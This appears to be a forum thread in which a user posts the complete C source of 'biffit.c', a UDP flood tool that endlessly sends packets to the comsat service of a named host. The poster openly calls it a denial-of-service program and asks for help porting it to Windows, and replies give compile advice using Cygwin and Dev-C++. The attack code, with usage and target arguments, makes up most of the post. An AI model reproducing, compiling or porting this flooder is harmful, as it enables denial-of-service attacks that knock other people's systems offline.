I want to port some nice shit I have been using on Unix and Linux boxes to windows.
The first one I would like to start with is this :
| CODE |
/*
* filename: biffit.c
* author: sygma @undernet
* problem: in.comsat uses UDP, and forks, so just think about it. :)
* IT CAN cripple BSD boxes.
* fix: 'biff n' works well. [wouldn't want leetos hitting you]
* or vi /etc/hosts.allow and add "in.comsat: LOCAL"
* notes: I wrote this for a friend to show him something,
* I won't be held reponsible for the missuse most people do
* with this stuff. This is for Educational user only!
* tested on: Linux [slackware]
* FreeBSD 2.2.5-Stable
* NetBSD 1.2
*
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/wait.h>
#define MYPORT 512
int i;
int main(int argc, char *argv[])
{
int sockfd;
struct sockaddr_in their_addr; /* connector's address information *
struct hostent *he;
int numbytes;
char message[80];
if (argc != 3) {
fprintf(stderr,"usage: \n");
fprintf(stderr," %s [hostname] [username]\n",argv[0]);
exit(1);
}
if ((he=gethostbyname(argv[1])) == NULL) { /* get the host info *
herror("gethostbyname");
exit(1);
}
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(1);
}
their_addr.sin_family = AF_INET; /* host byte order *
their_addr.sin_port = htons(MYPORT); /* short, network byte order *
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(their_addr.sin_zero), 8); /* zero the rest of the struct *
i=0;
sprintf(message,"%s@0",argv[2]);
while(1)
{
if ((numbytes=sendto(sockfd, message, strlen(message), 0, \
(struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1)
{
perror("recvfrom");
exit(1);
}
i++;
if (i==10000) {printf(".");i=0;}
// (filtered) usleep(100);
}
close(sockfd);
return 0;
}

This file is a simple dos program which locks a lot more than what the author mentioned.
If anyone can help, or lend a few pointers in the right direction I'd appreciate it.

Thanks Skydriver,
do you mean download the comeplete cygwin GNU development tools,
if you do, how do I use this to compile a working .exe for windows.
Or do you just mean get a cygwin.dll

get cygwin with gcc . Then type ./gcc -o file.c filename.exe , the exe can run under win with cygwin.dll
Perhaps u need some libaries wich are not provided by cygwin .

seeing since additional libraries were mentioned here for cgywin can we have some URLs posted here...thanxs.
I attached a word doc outlining the installation of cgywin. Anyone have anything to add to the doc include it here and i will update the doc.

you can compile exploit with a normal compiler ( I use dev-cpp ) butyou will need to find the header somewhere because they aren't all coming with dev-cpp

I dont' think you can compile Nessus using CYGWIN.
Thats why this product exists
